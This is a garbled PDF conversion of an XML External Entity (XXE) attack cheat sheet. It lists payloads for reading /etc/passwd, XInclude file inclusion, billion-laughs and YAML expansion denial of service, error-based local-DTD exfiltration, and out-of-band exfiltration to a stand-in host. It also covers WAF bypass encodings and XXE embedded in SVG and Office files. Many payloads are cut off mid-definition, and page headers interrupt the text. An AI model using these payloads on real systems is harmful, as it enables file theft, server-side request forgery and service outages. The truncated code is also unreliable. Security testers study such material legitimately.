XML External Entity XXE Attack 1704716540
XML External Entity XXE Attack 1704716540
XML External Entity XXE Attack 1704716540
External Entity: If an entity is declared outside a DTD it is called as external entity. Identified by
SYSTEM .
Syntax: <!ENTITY entity_name SYSTEM "entity_value">
Summary
Tools
Labs
Detect the vulnerability
Exploiting XXE to retrieve files
Classic XXE
Classic XXE Base64 encoded
PHP Wrapper inside XXE
XInclude attacks
Exploiting XXE to perform SSRF attacks
Exploiting XXE to perform a deny of service
Billion Laugh Attack
Yaml attack
Parameters Laugh attack
Exploiting Error Based XXE
Error Based - Using Local DTD File
Error Based - Using Remote DTD
Exploiting blind XXE to exfiltrate data out-of-band
Blind XXE
XXE OOB Attack (Yunusov, 2013)
https://md2pdf.netlify.app/ Page 1 of 19
XML External Entity 04/01/2024, 11:13
Tools
230-OOB - An Out-of-Band XXE server for retrieving file contents over FTP and payload
generation via http://xxe.sh/
XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different
out of band methods
https://md2pdf.netlify.app/ Page 2 of 19
XML External Entity 04/01/2024, 11:13
ruby server.rb
Labs
https://md2pdf.netlify.app/ Page 3 of 19
XML External Entity 04/01/2024, 11:13
Basic entity test, when the XML parser parses the external entities the result should contain
"John" in firstName and "Doe" in lastName . Entities are defined inside the DOCTYPE element.
It might help to set the Content-Type: application/xml in the request when sending XML
payload to the server.
Classic XXE
We try to display the content of the file /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
https://md2pdf.netlify.app/ Page 4 of 19
XML External Entity 04/01/2024, 11:13
XInclude attacks
When you can't modify the DOCTYPE element use the XInclude to target
https://md2pdf.netlify.app/ Page 5 of 19
XML External Entity 04/01/2024, 11:13
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
XXE can be combined with the SSRF vulnerability to target another service on the network.
:warning: : These attacks might kill the service or the server, do not use them on the production.
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml attack
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
https://md2pdf.netlify.app/ Page 6 of 19
XML External Entity 04/01/2024, 11:13
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
<!DOCTYPE r [
<!ENTITY % pe_1 "<!---->">
<!ENTITY % pe_2 "%pe_1;<!---->%pe_1;">
<!ENTITY % pe_3 "%pe_2;<!---->%pe_2;">
<!ENTITY % pe_4 "%pe_3;<!---->%pe_3;">
%pe_4;
]>
<r/>
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/xml/svg/svg10.dtd
/usr/share/xml/svg/svg11.dtd
/usr/share/yelp/dtd/docbookx.dtd
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///patt/
%eval;
%error;
https://md2pdf.netlify.app/ Page 7 of 19
XML External Entity 04/01/2024, 11:13
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>Text</message>
Content of ext.dtd
https://md2pdf.netlify.app/ Page 8 of 19
XML External Entity 04/01/2024, 11:13
Send the content of /etc/passwd to "www.malicious.com", you may receive only the first line.
https://md2pdf.netlify.app/ Page 9 of 19
XML External Entity 04/01/2024, 11:13
Ref. brianwrf/CVE-2018-11788
In some case, outgoing connections are not possible from the web application. DNS names
might even not resolve externally with a payload like this:
https://md2pdf.netlify.app/ Page 10 of 19
XML External Entity 04/01/2024, 11:13
If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks.
Payload to confirm that error message include filename.
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///abcxyz/">
%local_dtd;
]>
<root></root>
Assuming payloads such as the previous return a verbose error. You can start pointing to local
DTD. With an found DTD, you can submit payload such as the following payload. The content of
the file will be place in the error message.
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
<root></root>
Cisco WebEx
https://md2pdf.netlify.app/ Page 11 of 19
XML External Entity 04/01/2024, 11:13
WAF Bypasses
UTF-8 EF BB BF EF BB BF 3C 3F 78 6D 6C ...<?xml
UTF-16BE FE FF FE FF 00 3C 00 3F 00 78 00 6D 00 6C ...<.?.x.m.l
UTF-16LE FF FE FF FE 3C 00 3F 00 78 00 6D 00 6C 00 ..<.?.x.m.l.
Example: We can convert the payload to UTF-16 using iconv to bypass some WAF:
XXE in Java
Unsecure configuration in 10 different Java classes from three XML processing interfaces (DOM,
SAX, StAX) that can lead to XXE:
https://md2pdf.netlify.app/ Page 12 of 19
XML External Entity 04/01/2024, 11:13
DocumentBuilderFactory (javax.xml.parsers.DocumentBuilderFactory)
SAXBuilder (org.jdom2.input.SAXBuilder)
SAXParserFactory (javax.xml.parsers.SAXParserFactory)
SAXParser (javax.xml.parsers.SAXParser )
SAXReader (org.dom4j.io.SAXReader)
TransformerFactory (javax.xml.transform.TransformerFactory) & SAXTransformerFactory
(javax.xml.transform.sax.SAXTransformerFactory)
SchemaFactory (javax.xml.validation.SchemaFactory)
Validator (javax.xml.validation.Validator)
XMLReader (org.xml.sax.XMLReader)
https://md2pdf.netlify.app/ Page 13 of 19
XML External Entity 04/01/2024, 11:14
Ref.
Classic
xxe.svg
https://md2pdf.netlify.app/ Page 14 of 19
XML External Entity 04/01/2024, 11:14
</flowDiv>
</flowRoot>
</svg>
xxe.xml
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]
</foo>
</soap:Body>
/_rels/.rels
[Content_Types].xml
Default Main Document Part
/word/document.xml
/ppt/presentation.xml
/xl/workbook.xml
Tool : https://github.com/BuffaloWill/oxml_xxe
DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)
https://md2pdf.netlify.app/ Page 15 of 19
XML External Entity 04/01/2024, 11:14
$ 7z l xxe.xlsx
[...]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 ..... 578 223 _rels/.rels
2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml
2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml
2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml
2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels
2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml
2021-10-17 15:19:00 ..... 731 352 docProps/core.xml
2021-10-17 15:19:00 ..... 410 246 docProps/app.xml
2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 11216 3586 9 files
$ cd XXE
$ 7z u ../xxe.xlsx *
https://md2pdf.netlify.app/ Page 16 of 19
XML External Entity 04/01/2024, 11:14
Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a
different file. Instead we build the document once and then change the DTD. And using FTP
instead of HTTP allows to retrieve much larger files.
xxe.dtd
From https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
https://md2pdf.netlify.app/ Page 17 of 19
XML External Entity 04/01/2024, 11:14
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "https://erp.company.com">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#
%eval;
%error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>
References
https://md2pdf.netlify.app/ Page 18 of 19
XML External Entity 04/01/2024, 11:14
https://md2pdf.netlify.app/ Page 19 of 19